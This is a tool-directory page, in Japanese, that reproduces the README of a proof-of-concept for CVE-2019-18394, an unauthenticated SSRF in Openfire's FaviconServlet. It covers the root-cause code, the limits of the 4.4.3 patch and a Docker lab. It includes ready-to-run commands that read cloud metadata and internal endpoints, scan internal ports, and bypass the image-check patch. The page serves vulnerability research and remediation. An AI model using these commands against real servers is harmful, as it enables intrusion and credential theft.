Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
openfire-ssrf-cve-2019-18394 — CVE-2019-18394 の PoC: Openfire <= 4.4.2 の FaviconServlet における未認証のフルリード SSRF | Kitploit
ツール/GitHubGitHub/l0lsec/openfire-ssrf-cve-2019-18394
偵察脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubl0lsec/openfire-ssrf-cve-2019-18394

openfire-ssrf-cve-2019-18394

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-18394 の PoC: Openfire <= 4.4.2 の FaviconServlet における未認証のフルリード SSRF

リポジトリを見る
1日前未レビュー

CVE-2019-18394: Openfire FaviconServlet SSRF

Ignite Realtime Openfire 4.4.2 以前における未認証のサーバーサイドリクエストフォージェリ (管理コンソール、デフォルト TCP 9090/9091)。4.4.3 で修正済み (issue OF-1885)。

  • リクエストフォージェリ: host パラメータは検証なしで送信 URL に連結されるため、 サーバーは攻撃者が選択した HTTP GET を発行する。
  • レスポンスの開示: HTTP 200 の場合、上流の生のボディがそのまま呼び出し元に書き戻される。 これはブラインドではなく完全読み取り型の SSRF である。
  • 認証不要: /getFavicon は管理コンソールの AuthCheckFilter の背後になく、 サーバーがまだ未設定のセットアップ状態であっても応答する。

許可されたテストのみ。ここにあるものはすべて、自分で立ち上げるローカルラボを対象としている。

根本原因

org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):

root@kitploit:~
public void doGet(HttpServletRequest request, HttpServletResponse response) {
    String host = request.getParameter("host");                 // attacker-controlled
    host = "gmail.com".equals(host) ? "google.com" : host;
    byte[] bytes = getImage(host, defaultBytes);
    if (bytes != null) { writeBytesToStream(bytes, response); }  // body returned to caller
}

private byte[] getImage(String host, byte[] defaultImage) {
    ...
    byte[] bytes = getImage("http://" + host + "/favicon.ico");  // unvalidated concatenation
    ...
}

private byte[] getImage(String url) {
    ...
    try (CloseableHttpResponse response = client.execute(getRequest)) {
        if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
            return EntityUtils.toByteArray(response.getEntity());   // full body, not just an image
        }
    } ...
}

未認証。 xmppserver/src/main/webapp/WEB-INF/web.xml において、AuthCheck フィルタは *.jsp、PluginServlet、dwr-invoker にのみマッピングされている。FaviconServlet は プレーンなパス /getFavicon にマッピングされているため、認証フィルタは実行されない。

任意のホストだけでなく、任意のパス。 コードは /favicon.ico サフィックスをハードコードしている。 host をクエリ文字列で終わらせると、そのサフィックスがパラメータ値に押し込まれる:

root@kitploit:~
host = of_internal/secret?x=    produces    http://of_internal/secret?x=/favicon.ico

スキームは http:// に固定。 https:// のターゲットには直接到達できないが、 サーブレットのクライアントは LaxRedirectStrategy を使用しているため、302 リダイレクトする http エンドポイントは到達可能である。

4.4.3 の修正とその限界

root@kitploit:~
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) {   // OF-1885
    return null;                        // withhold non-image bodies
}
return result;

GraphicsUtils.isImage() は ImageIO.read(bytes) != null であり、宛先チェックではなく コンテンツチェックである。パッチ後も 2 つのことが残る:

  • 偽造された送信リクエストは依然として送信されるため、ブラインド SSRF (ポートスキャン、 内部サービスとの対話、リダイレクトピボット) は 4.4.3 でも機能する。
  • 画像としてパースされるレスポンスは依然として完全に返され、任意のバイト列を画像データの 後ろに付加できるため、画像形状の完全読み取り型開示は 4.4.3 でも機能する。

検出オラクル

  • すべての結果は HTTP 200 であるため、成功と失敗はボディのみで異なる。このツールは、 必ず失敗する (NXDOMAIN) リクエストを 2 回強制し、それらを比較することで失敗シグネチャを 取得する。ディスク上の /images/server_16x16.gif はベースラインとして使用されない: 初期化時にこれを読み込めなかったサーバーは代わりに空の失敗ボディを返し、両者を 不一致にすると誤った結果になる。
  • 存在は構造的に確認される: ミスは 200 を返す一方、マッピングされていない兄弟パスは 404 を返すため、実際の FaviconServlet マッピングとキャッチオールを区別できる。
  • FaviconServlet は生の host をキーとしてヒットとミスをキャッシュし、2 回のミス後に ショートサーキットする。このツールはすべてのプローブに一意の cb= キャッシュバスターを 追加するため、繰り返し実行しても古い結果が返されることはない。

使用方法

Python 3 標準ライブラリ、依存関係なし。

root@kitploit:~
check   confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read    fetch an arbitrary http:// URL through the target (full-read SSRF)
scan    probe internal TCP ports from the target's network position
root@kitploit:~
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json

# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/

# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090

フラグ: --callback-host (ターゲットがコールバックするアドレス)、--listen-bind / --listen-port (ローカルリスナー)、--marker-format gif (4.4.3 の isImage() ゲートを通過する 画像としてパース可能なコンテンツを返す)、--proxy、--json。

終了コード: 0 正常、1 検出、2 エラーまたは脆弱性なし、3 判定不能。

ラボと検証済みの結果

差分 Docker セットアップ: 脆弱な 4.4.2 (コンソールは :9090)、パッチ済み 4.4.3 (:9092)、 およびホストから直接到達できない内部専用サービス。

root@kitploit:~
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
  'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html

# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
  -v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine

docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
  gizmotronic/openfire:4.4.2 && docker network connect bridge of442   # VULNERABLE

docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
  gizmotronic/openfire:4.4.3 && docker network connect bridge of443   # PATCHED

内部 nginx にはホストポートマッピングがないため、ホストからの直接フェッチは HTTP 000 を返すが、 Openfire は到達できる。その SECRET_FLAG を読み取ることは、リクエストが信頼境界を越えたことを 証明する。Docker Desktop では、ターゲットは host.docker.internal 経由でリスナーに到達する (--callback-host に渡す)。ネイティブ Linux Docker では、docker0 ゲートウェイ IP を使用するか、 --callback-host を省略して自動検出させる。

root@kitploit:~
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read  -t 127.0.0.1:9090 -d http://of_internal/

各コールバックは User-Agent: Apache-HttpClient/... (Java/...) とともに到着し、リクエストが ツールではなく Openfire 自身の HTTP クライアントから来たことを確認した。

注: gif の結果は完全読み取り型 SSRF を確認するが、画像形状の開示は両方で機能するため、 4.4.2 と 4.4.3 を区別しない。修正前と修正後を見分けるには、デフォルトの text マーカーを使用すること。

read: 4.4.2 は内部の SECRET_FLAG を開示した。4.4.3 は HTML ページを伏せたが、 パストリック経由で取得した内部の .gif は依然として返した。

root@kitploit:~
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal   # tear down

修復

Openfire 4.4.3 以降にアップグレードすること。isImage() の修正は送信リクエストや 画像形状の開示を止めないため、favicon プロキシ機能が不要な場合は、Openfire ホストからの egress を制限し、管理コンソール (9090/9091) をネットワーク制御の背後に置くこと。

ファイル

root@kitploit:~
cve_2019_18394_poc.py   the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md               this document

check は --json <file> が指定された場合、JSON 証跡レコードを書き出す。

ツールをダウンロード
ターゲットマーカーコールバックボディ開示判定終了
4.4.2 (脆弱)textyesyes, verbatimVULNERABLE (unpatched)1
4.4.3 (パッチ済み)textyesno, withheld by isImage()PARTIALLY_MITIGATED (blind SSRF)1
4.4.3 (パッチ済み)gifyesyes, image + trailing textVULNERABLE full-read (see note)1
非 Openfire (nginx)n/an/an/aendpoint absent2